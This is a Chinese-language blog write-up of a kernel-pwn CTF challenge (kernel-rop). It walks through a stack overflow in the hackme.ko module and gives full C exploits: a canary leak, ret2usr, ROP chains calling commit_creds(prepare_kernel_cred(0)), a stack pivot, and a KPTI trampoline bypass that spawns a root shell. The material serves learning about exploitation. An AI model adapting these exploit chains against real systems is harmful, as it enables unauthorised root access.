Kernel-pwn学习记录1

此博客参考POST如下:
Learning Linux Kernel Exploitation - Part 1
Learning Linux Kernel Exploitation - Part 2

第一次进入Kernel Pwn领域,实验采用kernel-rop文件下载地址:https://ctftime.org/task/14383,对于Kernel Pwn,核心是利用LKM(Loadable Kernel Module,可加载内核模块)中存在的漏洞,而这些模块是在内核启动时自动运行的。

上述链接下载下来得到的压缩包包含文件:

  • Dockerfile:dock文件
  • initramfs.cpio.gz:使用cpio于gzip压缩过的linux文件系统
  • pow-solver.cpp
    -run.sh:启动linux内核的shell脚本,通常使用qemu虚拟机运行linux内核
  • vmlinuz:经过压缩的linux内核,有时也叫作bzImage
  • ynetd:
kernel

vmlinuz或者bzImaege可以使用如下命令进行提取,提取后的linux内核为elf文件格式

…/tools/extract-image.sh ./vmlinuz > vmlinux

其中extrac-image.sh内容如下

#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011      Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
	# Use readelf to check if it's a valid ELF
	# TODO: find a better to way to check that it's really vmlinux
	#       and not just an elf
	readelf -h $1 > /dev/null 2>&1 || return 1

	cat $1
	exit 0
}

try_decompress()
{
	# The obscure use of the "tr" filter is to work around older versions of
	# "grep" that report the byte offset of the line instead of the pattern.

	# Try to find the header ($1) and decompress from here
	for	pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
	do
		pos=${pos%%:*}
		tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
		check_vmlinux $tmp
	done
}

# Check invocation:
me=${0##*/}
img=$1
if	[ $# -ne 1 -o ! -s "$img" ]
then
	echo "Usage: $me <kernel-image>" >&2
	exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy    gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh'          xy    bunzip2
try_decompress '\135\0\0\0'   xxx   unlzma
try_decompress '\211\114\132' xy    'lzop -d'
try_decompress '\002!L\030'   xxx   'lz4 -d'
try_decompress '(\265/\375'   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

提取出来的内核文件,其核心价值在于可以使用ROPgadget 寻找其内核模块中的gadgets,代码如下

ROPgadget --binary=vmlinux > ./gadgets

文件系统

除了内核模块,最重要的是内核中的文件系统,通过如下命令可以获取解压后的文件系统

./tools/decompress.sh initramfs.cpio.gz

其中decompress.sh内容如下:

mkdir initramfs
cd initramfs
cp ../initramfs.cpio.gz .
gunzip ./initramfs.cpio.gz
cpio -idm < ./initramfs.cpio
rm initramfs.cpio

进入initramfs文件夹,可以看到其中诸多文件,通常需要关注的文件有

  • /etc目录:该目录通常保存内核启动时的初始化脚本,因为在本机上进行调试时,可以通过修改/etc目录下的启动脚本,更改系统启动后的初始权限,从而简化本机漏洞利用过程,比如可以修改rcS或者inittab文件中的用户权限。
  • hackme.

本程序中inittab文件内容如下:

::sysinit:/etc/init.d/rcS
::once:-sh -c ‘cat /etc/motd; setuidgid 1000 sh; poweroff’

在initab文件中,可以看出内核启动后,默认执行etc/init.d目录下的rcS脚本,并且之后开启shell,默认设置用户id为1000,这说明在内核启动后用户并没有root权限,对于本地调试十分不方便,故将其改成0,从而内核启动后,用户便以root权限运行shell

::sysinit:/etc/init.d/rcS
::once:-sh -c ‘cat /etc/motd; setuidgid 0 sh; poweroff’

查看rcS文件,其内容如下,可以发现内核在启动后是加载了hackme.ko模块,同时赋予其666的权限。

#!/bin/sh

/bin/busybox --install -s

stty raw -echo

chown -R 0:0 /

mkdir -p /proc && mount -t proc none /proc
mkdir -p /dev  && mount -t devtmpfs devtmpfs /dev
mkdir -p /tmp  && mount -t tmpfs tmpfs /tmp

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

insmod /hackme.ko
chmod 666 /dev/hackme

从而可以判断出该程序利用点在于hackme.ko可加载内核模块中,使用ida反汇编该程序,可以发现其核心逻辑为通过hackme_init()注册名为hack的设备,并且该设备支持hackme_write、hackme_read、hackme_open和hackme_release操作,hackme_write、hackme_read为核心逻辑,其反汇编结果如:

ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{
  unsigned __int64 v4; // rdx
  ssize_t v5; // rbx
  int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
  unsigned __int64 canary; // [rsp+80h] [rbp-20h]

  _fentry__();
  v5 = v4;
  canary = __readgsqword(0x28u);
  if ( v4 > 0x1000 )
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL);
    BUG();
  }
  _check_object_size(hackme_buf, v4, 0LL);
  if ( copy_from_user(hackme_buf, data, v5) )
    return -14LL;
  _memcpy(tmp, hackme_buf, v5);
  return v5;
}

ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
  unsigned __int64 v4; // rdx
  unsigned __int64 v5; // rbx
  bool v6; // zf
  ssize_t result; // rax
  int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
  unsigned __int64 v9; // [rsp+80h] [rbp-20h]

  _fentry__();
  v5 = v4;
  v9 = __readgsqword(0x28u);
  _memcpy(hackme_buf, tmp, v4);
  if ( v5 > 0x1000 )
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL);
    BUG();
  }
  _check_object_size(hackme_buf, v5, 1LL);
  v6 = copy_to_user(data, hackme_buf, v5) == 0;
  result = -14LL;
  if ( v6 )
    result = v5;
  return result;
}

从上述反汇编结果来看,程序是存在栈溢出的,tmp数组大小为32*4=128=0x80大小,而调用copy_to_user与copy_from_user之前,判断数据长度为0x1000才会检测出栈溢出,长度为0x80-0x1000之间的数据同样可以造成栈溢出

kernel下的mitigation

与用户态的pwn一样,kernel也有防止漏洞利用的相关mitigation

  • Kernel stack cookies:同用户态下的canary
  • Kernel address space layout randomization:同用户态下的ASLR
  • Supervisor mode execution protection (SMEP):当处理器处于 内核模式,执行 用户空间 的代码会触发页错误。(在 arm 中该保护称为 PXN);在内核空间,通过CR4寄存器的20th bit来使能该mitigation;在qemu启用脚本里,使用“-cpu +smep“”启动该保护,使用“-append nosmep”关闭该保护
  • Supervisor Mode Access Prevention (SMAP):类似于 smep,禁用内核模式访问用户空间的代码;在内核空间,通过CR4寄存器的21th bit来使能该mitigation;在qemu启用脚本里,使用“-cpu +smap“”启动该保护,使用“-append nosmap”关闭该保护
  • Kernel page-table isolation (KPTI) :使用该mitigation,内核将完全分离用户空间和内核空间页表,而不是使用一组同时包含用户空间和内核空间的页表,一组页表包括内核空间地址和用户空间地址,但它只在系统以内核模式运行时使用。在用户模式下使用的第二组页表包含一个用户空间的副本和一组最少的内核空间地址。可以通过在-append选项下添加kpti=1或nopti来启用/禁用它。
ret2usr(关闭kaslr、smap、smep、kpti)

kernel ret2usr与用户模式下的ret2usr有些许差别,内核中的ret2usr攻击利用了 用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户空间,以 ring 0 特权执行用户空间代码完成提权等操作。

该方法使用前提是未开启smep与smap保护,同时为了本地提权的方便,需要关闭kaslr,修改后的run.sh如下:

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64 \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nokaslr nopti quiet panic=1"

可以看到qemu需要读取flag.txt,否则内核启动不成功,可以在文件夹下创建空的flag.txt,之后便可以成功启动。在qemu启动linux内核之前,需要将我们解压修改后的initramfs重新压缩成新的initramfs.cpio.gz,因为qemu读取的是initramfs.cpio.gz
在这里插入图片描述
成功启动后如上图所示,可以开始尝试编写ret2usr,由之前知识可以知道,内核加载了hackme模块,而该模块注册了名为hackme的设备,该设备支持的hackme_write与hackme_read存在栈溢出漏洞,所以首先需要与该设备进行交互,并尝试触发漏洞。

int global_fd;
void open_dev()
{
        global_fd=open("/dev/hackme",O_RDWR);
        if(global_fd<0){
                puts("[!] Failed to open device\n");
                exit(-1);
        }else{
                puts("[*] Opened device");
        }
}

void leak_canary()
{
        unsigned  n =20;
        unsigned long leak[n]; //  n*8,unsigned long in x64 is 8 bytes long
        ssize_t r_bytes=read(global_fd,leak,sizeof(leak));
        cookie=leak[16];//0x80/8=0x10=16
        printf("[*] leaked %zd bytes\n",r_bytes);
        printf("[*] leaked canary: %lx\n",cookie);
}

泄露canary(cookie)之后,便可以构造payload,主要代码如下,这里为什么需要3个dummy呢,因为查看hackne_write函数汇编代码,可以看到函数保存了rbp/r12/rbx三个寄存器,这里这么做是为了堆栈平衡。

unsigned long user_cs,user_ss,user_rflags,user_sp;

void save_state()
{
        __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs,cs;"
        "mov user_ss,ss;"
        "mov user_sp,rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
        );
        puts("[*] Saved state");
}

void get_shell(void){
    puts("[*] Returned to userland");
    if (getuid() == 0){
        printf("[*] UID: %d, got root!\n", getuid());
        system("/bin/sh");
    } else {
        printf("[!] UID: %d, didn't get root\n", getuid());
        exit(-1);
    }
}


unsigned long user_rip = (unsigned long)get_shell;
void escalate_privs()
{
        __asm__(
                 ".intel_syntax noprefix;"
        "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
        "xor rdi, rdi;"
            "call rax; mov rdi, rax;"
            "movabs rax, 0xffffffff814c6410;" //commit_creds
            "call rax;"
        "swapgs;"
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_sp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"
        );
}
void overflow()
{
        unsigned n=50;
        unsigned long payload[n];
        unsigned off=16;
        payload[off++]=cookie;
        payload[off++]=0x0;//rbx
        payload[off++]=0x0;//r12
        payload[off++]=0x0;//rbp
        payload[off++]=(unsigned long)escalate_privs; //ret
        puts("[*] Prepared payload");
        ssize_t w = write(global_fd, payload, sizeof(payload));

        puts("[!] Should never be reached");

}

save_state()函数用于保存程序从用户态进入内核态时的寄存器状态,这些寄存器包括cs、ss、rflag、rsp、rip,在这里rip则是保存的get_shell的地址,save_state()至关重要,因为程序持有两种寄存器值集,一种是用户态下的寄存器值,一种是内核态下的寄存器值,不管是从内核态进入用户态还是从用户态进入内核态,都需要保存前一个状态的运行环境,在我们编写shellcode时,从用户态进入内核态时,同样也需要保存我们用户态的寄存器值,以便从内核态返回用户态时程序可以正常执行。这里通过内嵌汇编保存cs、ss、rflag、rsp的值,rip的值则是直接指向get_shell函数,这样从内核态返回用户态时,直接执行get_shell()函数

escalate_privs()函数通过调用commit_creds(prepare_kernel_cred(0))获取root权限,这也是最常用的提权手段,主要,这里获取root权限仅仅是改变了当前用户的权限,并没有开启对应的shell。故还需要get_shell()函数来获取shell。在x86_64机器上,在调用iretq之前需要调用另一个指令swapgs,这个指令用户交换用户态与内核态的GS寄存器值。

这段shellcode写的十分精巧,需要多看多学
最终函数调用顺序为

int main()
{
        save_state();

        open_dev();

        leak_canary();

        overflow();

        puts("[!] Should never be reached");

        return 0;
}

在关闭kaslr、kpti、smep、smap情况下,执行结果如图
在这里插入图片描述

开启smep保护

开启smep之后,原来通过在用户空间堆栈上布置代码的方式便会失效,因为smep会使得在内核空间无法执行用户空间的代码。

覆写CR4的20th bit

正如前文所说,smep的启用是通过CR4寄存器的20th bit标识的,所以midas师傅尝试在内核栈上布置shellcode,通过native_write_cr4(value)函数去改写CR4的值,以关闭smep,但方法最终失败,通过dmesg命令,可以看到如下

unable to execute userspace code (SMEP?) (uid: 1000)

作者的解释是内核开发人员意识到了hacker会改写CR4的标志位
以关闭mitigation,并作出了对应的防御措施,即内核启动后不管CR4如何赋值,内核会立刻将其改变回原来的值。

构造完整的ROP链

ROP链的构造思路很简单:

  1. ROP进入prepare_kernel_cred(0)
  2. ROP进入commit_creds(),其参数为1的返回值
  3. ROP进入swapgs;ret
  4. ROP进入iretq ,堆栈上需要部署RIP、CS、RFLAGS、SP、SS

在这里构造ROP链思路不难,但是实际构造时需要不断尝试,因为ROPgradget搜索到的gadget可能处于不可执行的页。

ROPgadget可以寻找到swapgs相关的gadgets,却找不到iretq,这里可以使用如下命令

objdump --section .text -d ./vmlinux|grep iretq
–section指定选取为.text代码段
-d 用于反汇编vmlinux中指定的区域

最终完整的ROP链如下


unsigned long user_rip = (unsigned long)get_shell;

unsigned long pop_rdi_ret=0xffffffff81006370;// : pop rdi ; ret
unsigned long pop_rdx_ret=0xffffffff81007616; //pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret=0xffffffff8166fea3;// : mov rdi, rax ; jne 0xffffffff8166fe73 ; pop rbx ; pop rbp ; ret

unsigned long commit_creds=0xffffffff814c6410;// T commit_creds
unsigned long prepare_kernel_cred=0xffffffff814c67f0;// T prepare_kernel_cred
unsigned long swapgs_pop_ret=0xffffffff8100a55f;// : swapgs ; pop rbp ; ret

unsigned long iretq=0xffffffff8100c0d9;

void overflow()
{	
	unsigned n=50;
	unsigned long payload[n];
	unsigned off=16;
	payload[off++]=cookie;
	payload[off++]=0x0;
	payload[off++]=0x0;
	payload[off++]=0x0;
	payload[off++]=pop_rdi_ret;
	payload[off++]=0x0;
	payload[off++]=prepare_kernel_cred;
	payload[off++]=pop_rdx_ret;
	payload[off++]=0x8;
	payload[off++]=cmp_rdx_jne_pop2_ret;
	payload[off++]=0x0;
	payload[off++]=0x0;
	payload[off++]=mov_rdi_rax_jne_pop2_ret;
	payload[off++]=0x0;
	payload[off++]=0x0;
	payload[off++]=commit_creds;
	payload[off++]=swapgs_pop_ret;
	payload[off++]=0x0;
	payload[off++]=iretq;
	#这段数据在栈上分布的时候,payload[0]位于低地址
	#而保存寄存器的时候,push的顺序为ss、sp、flag、cs、rip
	payload[off++]=user_rip;
	payload[off++]=user_cs;
	payload[off++]=user_rflags;
	payload[off++]=user_sp;
	payload[off++]=user_ss;
	
	
	puts("[*] Prepared payload");
   	ssize_t w = write(global_fd, payload, sizeof(payload));

   	puts("[!] Should never be reached");
	
}
栈迁移

栈迁移适用的环境是存在栈溢出的漏洞,但可溢出的范围有限的情况下。例如只能覆盖return address
在用户态的二进制利用里,栈迁移 的核心思想就是 将栈 的 esp 和 ebp 转移到一个 输入不受长度限制的 且可控制 的 址处,通常是 bss 段地址! 在最后 ret 的时候 如果我们能够控制得 了 栈顶 esp指向的地址 就想到于 控制了 程序执行流!(参考)CSDN

而在内核态进行栈迁移则简单的多,因为在内核中存在诸多可以修改rsp/esp的gadgets,在这种情况下,通常做法是寻找到改变rsp/esp为固定值的gadget(例如 mov rsp,#立即数),这样通过这种gadget便可以将栈迁移到立即数对应的位置,我们只需要保证所选用的gadget是处于可执行的页中即可。

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>

int global_fd;
void open_dev()
{
	global_fd=open("/dev/hackme",O_RDWR);
	if(global_fd<0){
		puts("[!] Failed to open device\n");
		exit(-1);
	}else{
		puts("[*] Opened device");
	}	
}

unsigned long user_cs,user_ss,user_rflags,user_sp;

void save_state()
{
	__asm__(
	".intel_syntax noprefix;"
	"mov user_cs,cs;"
	"mov user_ss,ss;"
	"mov user_sp,rsp;"
	"pushf;"
	"pop user_rflags;"
	".att_syntax;"
	);
	puts("[*] Saved state");	
}

void print_leak(unsigned long *leak, unsigned n) {
    for (unsigned i = 0; i < n; ++i) {
        printf("%u: %lx\n", i, leak[i]);
    }
}

unsigned long cookie;

void leak_canary()
{
	unsigned  n =20;
	unsigned long leak[n]; //  n*8,unsigned long in x64 is 8 bytes long
	ssize_t r_bytes=read(global_fd,leak,sizeof(leak));
	cookie=leak[16];//0x80/8=0x10=16
	printf("[*] leaked %zd bytes\n",r_bytes);
	printf("[*] leaked canary: %lx\n",cookie);
}


void get_shell(void){
    puts("[*] Returned to userland");
    if (getuid() == 0){
        printf("[*] UID: %d, got root!\n", getuid());
        system("/bin/sh");
    } else {
        printf("[!] UID: %d, didn't get root\n", getuid());
        exit(-1);
    }
}


unsigned long user_rip = (unsigned long)get_shell;

unsigned long pop_rdi_ret=0xffffffff81006370;// : pop rdi ; ret
unsigned long pop_rdx_ret=0xffffffff81007616; //pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret=0xffffffff8166fea3;// : mov rdi, rax ; jne 0xffffffff8166fe73 ; pop rbx ; pop rbp ; ret

unsigned long commit_creds=0xffffffff814c6410;// T commit_creds
unsigned long prepare_kernel_cred=0xffffffff814c67f0;// T prepare_kernel_cred
unsigned long swapgs_pop_ret=0xffffffff8100a55f;// : swapgs ; pop rbp ; ret
unsigned long iretq=0xffffffff8100c0d9;

unsigned long mov_esp_pop2_ret = 0xffffffff8196f56a; // mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
unsigned long *fake_stack;
void build_fake_stack(void){
    fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
    unsigned off = 0x1000 / 8;
    fake_stack[0] = 0xdead; // put something in the first page to prevent fault
    fake_stack[off++] = 0x0; // dummy r12
    fake_stack[off++] = 0x0; // dummy rbp
    fake_stack[off++] = pop_rdi_ret;
     // the rest of the chain is the same as the last payload
    fake_stack[off++] = 0x0; // rdi <- 0
    fake_stack[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
    fake_stack[off++] = pop_rdx_ret;
    fake_stack[off++] = 0x8; // rdx <- 8
    fake_stack[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
    fake_stack[off++] = 0x0; // dummy rbx
    fake_stack[off++] = 0x0; // dummy rbp
    fake_stack[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
    fake_stack[off++] = 0x0; // dummy rbx
    fake_stack[off++] = 0x0; // dummy rbp
    fake_stack[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
    fake_stack[off++] = swapgs_pop_ret; // swapgs
    fake_stack[off++] = 0x0; // dummy rbp
    fake_stack[off++] = iretq; // iretq frame
    fake_stack[off++] = user_rip;
    fake_stack[off++] = user_cs;
    fake_stack[off++] = user_rflags;
    fake_stack[off++] = user_sp;
    fake_stack[off++] = user_ss;
}

void overflow()
{	
	unsigned n=50;
	unsigned long payload[n];
	unsigned off=16;
	payload[off++]=cookie;
	payload[off++]=0x0;
	payload[off++]=0x0;
	payload[off++]=0x0;
	payload[off++]=mov_esp_pop2_ret;

	
	
	puts("[*] Prepared payload");
   	ssize_t w = write(global_fd, payload, sizeof(payload));

   	puts("[!] Should never be reached");
	
}


int main()
{
	save_state();
	
	open_dev();
	
	leak_canary();
	build_fake_stack();
	
	overflow();
	
	puts("[!] Should never be reached");
	
	return 0;
}

这里有两处注意点:

  1. 这里 build_fake_stack()通过mmap申请了0x5b000000 - 0x1000处大小为0x2000的堆栈,为什么不直接申请0x5b000000 处的空间呢,这是因为像prepare_kernel_cred()和commit_creds()这样的函数调用它们内部的其他函数,导致堆栈增长。如果我们将esp指向页面的确切起点,那么堆栈将没有足够的空间增长,它将崩溃。
  2. mmap申请了两个页大小的内存空间(0x1000为一个页),而这两个页大小的内存空间不代表我们申请了就会在页表里存在其对应的物理地址的映射,fake_stack[0] = 0xdead; 这一操作保证了我们所申请的内存空间有其对应的物理地址,这样我们就可以在第二个内存页里放置我们的shellcode
开启KPTI保护

KPTI分离了用户空间页表和内核空间页表,系统存有两种页表,一种页表包含所有的用户空间地址与内核空间地址,仅能在内核态使用;一种页表包含用户空间地址和小部分内核地址,只在用户态使用。
开启KPTI后,完整ROP链的方法和stack pivot的方法均会失效,且显示错误类型,如下,均为segment fault
在这里插入图片描述
这表明我们已经返回了用户态,但由于我们所使用的gadget所属于的页表仍处于内核空间,由于kpti的保护,我们无法执行。

bypass KPTI可以由以下方法:

  1. 正如上图,程序显示segment fault,即段异常错误,系统发生异常时会去寻找异常处理函数,可以使用signal handler复写segment fault对应的异常处理函数,通过signal(SIGSEGV, get_shell);将其改为我们所对应的获取shell的函数地址,则程序发生segment fault时将自动执行我们指定的函数
  2. 借助KPTI trampoline技术,该技术基于思想:如果系统调用正常返回,那么内核中必须有一段代码将页表交换回用户态表,因此我们将尝试重用这些代码。这段代码称为KPTI trampoline,它所做的是交换页表、swapgs和iretq。
KPTI trampoline

Midas使用的是swapgs_restore_regs_and_return_to_usermode()函数,可以在/proc/kallosyms轻松查到其地址,其在IDA中部分代码如下

.text:FFFFFFFF81200F10                 pop     r15
.text:FFFFFFFF81200F12                 pop     r14
.text:FFFFFFFF81200F14                 pop     r13
.text:FFFFFFFF81200F16                 pop     r12
.text:FFFFFFFF81200F18                 pop     rbp
.text:FFFFFFFF81200F19                 pop     rbx
.text:FFFFFFFF81200F1A                 pop     r11
.text:FFFFFFFF81200F1C                 pop     r10
.text:FFFFFFFF81200F1E                 pop     r9
.text:FFFFFFFF81200F20                 pop     r8
.text:FFFFFFFF81200F22                 pop     rax
.text:FFFFFFFF81200F23                 pop     rcx
.text:FFFFFFFF81200F24                 pop     rdx
.text:FFFFFFFF81200F25                 pop     rsi
.text:FFFFFFFF81200F26                 mov     rdi, rsp
.text:FFFFFFFF81200F29                 mov     rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32                 push    qword ptr [rdi+30h]
.text:FFFFFFFF81200F35                 push    qword ptr [rdi+28h]
.text:FFFFFFFF81200F38                 push    qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B                 push    qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E                 push    qword ptr [rdi+10h]
.text:FFFFFFFF81200F41                 push    qword ptr [rdi]
.text:FFFFFFFF81200F43                 push    rax
.text:FFFFFFFF81200F44                 jmp     short loc_FFFFFFFF81200F89
...

它首先通过从堆栈pop恢复许多寄存器。然而,我们真正感兴趣的是它交换页表、swapgs和iretq的部分,而不是这部分。简单地ROP到这个函数的开始部分工作得很好,但是它将不必要地扩大我们的ROP链,因为需要插入大量的虚拟寄存器。因此,我们的KPTI trampoline将位于swapgs_restore_regs_and_return_to_usermode + 22,这是第一个mov的地址。
如下是程序真正有用的地方,即包含swapgs和iretq的代码

.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:
.text:FFFFFFFF81200F89                               pop     rax
.text:FFFFFFFF81200F8A                               pop     rdi
.text:FFFFFFFF81200F8B                               call    cs:off_FFFFFFFF82040088
.text:FFFFFFFF81200F91                               jmp     cs:off_FFFFFFFF82040080
...
.text.native_swapgs:FFFFFFFF8146D4E0                 push    rbp
.text.native_swapgs:FFFFFFFF8146D4E1                 mov     rbp, rsp
.text.native_swapgs:FFFFFFFF8146D4E4                 swapgs
.text.native_swapgs:FFFFFFFF8146D4E7                 pop     rbp
.text.native_swapgs:FFFFFFFF8146D4E8                 retn
...
.text:FFFFFFFF8120102E                               mov     rdi, cr3
.text:FFFFFFFF81201031                               jmp     short loc_FFFFFFFF81201067
...
.text:FFFFFFFF81201067                               or      rdi, 1000h
.text:FFFFFFFF8120106E                               mov     cr3, rdi
...
.text:FFFFFFFF81200FC7                               iretq

可以看到程序在swapgs时pop了两个寄存器rax和rdi,所以shellcode的时候我们需要2个dummy去填充着两个pop,同样
需要注意,在iretq时,堆栈上需要不知道rip、cs、rflags、sp、ss寄存器,最终代码如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>

int global_fd;
void open_dev()
{
	global_fd=open("/dev/hackme",O_RDWR);
	if(global_fd<0){
		puts("[!] Failed to open device\n");
		exit(-1);
	}else{
		puts("[*] Opened device");
	}	
}

unsigned long user_cs,user_ss,user_rflags,user_sp;

void save_state()
{
	__asm__(
	".intel_syntax noprefix;"
	"mov user_cs,cs;"
	"mov user_ss,ss;"
	"mov user_sp,rsp;"
	"pushf;"
	"pop user_rflags;"
	".att_syntax;"
	);
	puts("[*] Saved state");	
}

void print_leak(unsigned long *leak, unsigned n) {
    for (unsigned i = 0; i < n; ++i) {
        printf("%u: %lx\n", i, leak[i]);
    }
}

unsigned long cookie;

void leak_canary()
{
	unsigned  n =20;
	unsigned long leak[n]; //  n*8,unsigned long in x64 is 8 bytes long
	ssize_t r_bytes=read(global_fd,leak,sizeof(leak));
	cookie=leak[16];//0x80/8=0x10=16
	printf("[*] leaked %zd bytes\n",r_bytes);
	printf("[*] leaked canary: %lx\n",cookie);
}


void get_shell(void){
    puts("[*] Returned to userland");
    if (getuid() == 0){
        printf("[*] UID: %d, got root!\n", getuid());
        system("/bin/sh");
    } else {
        printf("[!] UID: %d, didn't get root\n", getuid());
        exit(-1);
    }
}


unsigned long user_rip = (unsigned long)get_shell;

unsigned long pop_rdi_ret=0xffffffff81006370;// : pop rdi ; ret
unsigned long pop_rdx_ret=0xffffffff81007616; //pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret=0xffffffff8166fea3;// : mov rdi, rax ; jne 0xffffffff8166fe73 ; pop rbx ; pop rbp ; ret

unsigned long commit_creds=0xffffffff814c6410;// T commit_creds
unsigned long prepare_kernel_cred=0xffffffff814c67f0;// T prepare_kernel_cred
unsigned long swapgs_pop_ret=0xffffffff8100a55f;// : swapgs ; pop rbp ; ret

unsigned long iretq=0xffffffff8100c0d9;


unsigned long kpti_trampoline=0xffffffff81200f10+22;


void overflow()
{	
	unsigned n=50;
	unsigned long payload[n];
	unsigned off=16;
	payload[off++]=cookie;
	payload[off++]=0x0;
	payload[off++]=0x0;
	payload[off++]=0x0;
	payload[off++]=pop_rdi_ret;
	payload[off++]=0x0;
	payload[off++]=prepare_kernel_cred;
	payload[off++]=pop_rdx_ret;
	payload[off++]=0x8;
	payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
        payload[off++] = 0x0; // dummy rbx
        payload[off++] = 0x0; // dummy rbp
        payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
        payload[off++] = 0x0; // dummy rbx
        payload[off++] = 0x0; // dummy rbp
        payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
	payload[off++]=kpti_trampoline;
	payload[off++]=0x0;
	payload[off++]=0x0;
	payload[off++] = user_rip;
        payload[off++] = user_cs;
        payload[off++] = user_rflags;
        payload[off++] = user_sp;
        payload[off++] = user_ss;

	
	
	puts("[*] Prepared payload");
   	ssize_t w = write(global_fd, payload, sizeof(payload));

   	puts("[!] Should never be reached");
	
}


int main()
{	
	save_state();
	
	open_dev();
	
	leak_canary();
	
	overflow();
	
	puts("[!] Should never be reached");
	
	return 0;
}
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值